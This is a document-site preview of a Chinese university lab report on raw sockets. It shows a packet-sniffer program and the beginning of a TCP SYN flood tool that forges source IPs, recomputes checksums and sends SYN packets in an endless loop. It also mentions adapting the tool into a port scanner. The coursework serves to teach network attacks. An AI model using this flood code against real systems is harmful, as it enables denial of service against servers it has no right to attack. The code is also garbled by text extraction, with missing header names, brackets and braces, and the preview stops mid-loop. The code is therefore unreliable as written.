信息安全实践第十一次作业

上传人:n**** 文档编号:118715767 上传时间:2019-12-23 格式:DOC 页数:16 大小:115KB
返回 下载 相关 举报
信息安全实践第十一次作业_第1页
第1页 / 共16页
信息安全实践第十一次作业_第2页
第2页 / 共16页
信息安全实践第十一次作业_第3页
第3页 / 共16页
信息安全实践第十一次作业_第4页
第4页 / 共16页
信息安全实践第十一次作业_第5页
第5页 / 共16页
点击查看更多>>
资源描述

《信息安全实践第十一次作业》由会员分享,可在线阅读,更多相关《信息安全实践第十一次作业(16页珍藏版)》请在金锄头文库上搜索。

1、四 川 大 学 计 算 机 学 院、软 件 学 院实 验 报 告 学号: 姓名:专业:_软件工程_ 班级: 第 12 周 课程名称 信息安全产品开发实践 实验课时4实验项目原始套接字实验时间2013.11.29实验目的 利用原始套接字实现一个TCP SYS flooding 程序 实验环境 虚拟机 Red Hat Enterprise Linux-VMware Workstation 实验内容(算法、程序、步骤和方法) 由于我们在这次实验中只需要对IP和TCP头部进行修改,所以使用的是网络层原始套接字。 这个实验考验的是对IP和TCP报头结构体的了解,其实在之前的实验我们就已经有所接触,在嗅探

2、器中我们就是把接收到的数据包进行分解,分别先后解封IP头部,再解封TCP头部(越底层的数据越放在前面)。这一部分知识可以参考在老师的demo程序packet.c,那是一个使用链路层套接字的嗅探器,不过在输出ip地址那部分需要改动一下才能正常运行。下面把修改后的packet展示一下:#include #include #include #include #include #include #include #include #include #include int main(int argc, char *argv) int sock, n; char buffer2048; struct e

3、thhdr *eth; struct iphdr *iph; struct tcphdr *tcph; if (0(sock=socket(PF_PACKET, SOCK_RAW, htons(ETH_P_IP) perror(socket); exit(1); int num = 1; while (1) printf(=n); /注意:在这之前我没有调用bind函数,原因是什么呢? n = recvfrom(sock,buffer,2048,0,NULL,NULL); printf(number: %d ,num+); printf(%d bytes readn,n); /接收到的数据帧头

4、6字节是目的MAC地址,紧接着6字节是源MAC地址。 eth=(struct ethhdr*)buffer; printf(Dest MAC addr:%02x:%02x:%02x:%02x:%02x:%02xn,eth-h_dest0,eth-h_dest1,eth-h_dest2,eth-h_dest3,eth-h_dest4,eth-h_dest5); printf(Source MAC addr:%02x:%02x:%02x:%02x:%02x:%02xn,eth-h_source0,eth-h_source1,eth-h_source2,eth-h_source3,eth-h_sou

5、rce4,eth-h_source5); iph=(struct iphdr*)(buffer+sizeof(struct ethhdr); /我们只对IPV4且没有选项字段的IPv4报文感兴趣 / if(iph-version =4 & iph-ihl = 5) if(iph-version =4)char addr_p1INET_ADDRSTRLEN;char addr_p2INET_ADDRSTRLEN;inet_ntop(AF_INET,&iph-saddr,addr_p1,sizeof(addr_p1);inet_ntop(AF_INET,&iph-daddr,addr_p2,siz

6、eof(addr_p2); printf(Source host:%sn,addr_p1); printf(Dest host:%sn,addr_p2); if(iph-protocol=6)/TCP tcph=(struct tcphdr*)(buffer+sizeof(struct ether_header)+sizeof(struct ip); printf(Sourport:%dn,ntohs(tcph-source); printf(Destport :%dn,ntohs(tcph-dest); 这里主要修改的地方是:1、 原代码问题:在输出ip那部分需要利用inet_ntop函数,

7、不然程序运行出问题。2、 加入了TCP头部解封,输出源端口和目的端口,当然还要把相应的头文件加入。 其实只要把上面这程序和这次的syn flood结合起来再做点修改就可以做出一个syn端口扫描器。(接上)实验内容(算法、程序、步骤和方法)而这次的syn flood程序中做的就是和嗅探器相反的工作:先封装IP头部,再封装TCP头部。程序的主要流程就是:构造IP头部构造TCP头部发送数据。这是一个循环的过程(不停发送syn攻击),里面需要注意:1、 TCP头部中syn要标记为1,其它皆为0。 2、每循环一次,伪装的源IP地址就要改一次,那IP头部的校验和就要重新计算,当底层的报头有所改变(IP头部

8、),那上层的头部TCP头部的校验和同样要重新计算。有关检验部分,在运行syn flood程序之前,必须先运行一个服务器程序来作为攻击目标。关于观测端口连接情况,老师提供的是netstat -tn,如果想看得更加方便的话,可以使用netstat -tn | grep “:888”这样来监视某个端口。#include /printf #include /memset #include /for exit(0); #include #include /For errno - the error number #include #include /hostend #include #include /

9、Provides declarations for tcp header #include /Provides declarations for ip header unsigned short csum(unsigned short * , int ); struct pseudo_header /needed for checksum calculation unsigned int source_address; unsigned int dest_address; unsigned char placeholder; unsigned char protocol; unsigned s

10、hort tcp_length; struct tcphdr tcp; ; struct in_addr dest_ip; int main(int argc, char *argv) /Create a raw socket int s = socket (AF_INET, SOCK_RAW , IPPROTO_TCP); if(s 0) printf (Error creating socket. Error number : %d . Error message : %s n , errno , strerror(errno); exit(0); else printf(Socket c

11、reated.n); /Datagram to represent the packet char datagram4096; /IP header struct iphdr *iph = (struct iphdr *) datagram; /TCP header struct tcphdr *tcph = (struct tcphdr *) (datagram + sizeof (struct ip); struct sockaddr_in dest; struct pseudo_header psh; char *target = argv1; if(argc 3) printf(Ple

12、ase specify a hostname and a port n); exit(1); /get the target ip dest_ip.s_addr = inet_addr( target ); /IP_HDRINCL to tell the kernel that headers are included in the packet int one = 1; const int *val = &one; if (setsockopt (s, IPPROTO_IP, IP_HDRINCL, val, sizeof (one) 0) printf (Error setting IP_HDRINCL. Error number : %d . Error message : %s n , errno , strerror(errno); exit(0); while(1) struct in_addr sour_ip; int source_port = 8888;

展开阅读全文
相关资源
相关搜索

当前位置:首页 > 大杂烩/其它

电脑版 |金锄头文库版权所有
经营许可证:蜀ICP备13022795号 | 川公网安备 51140202000112号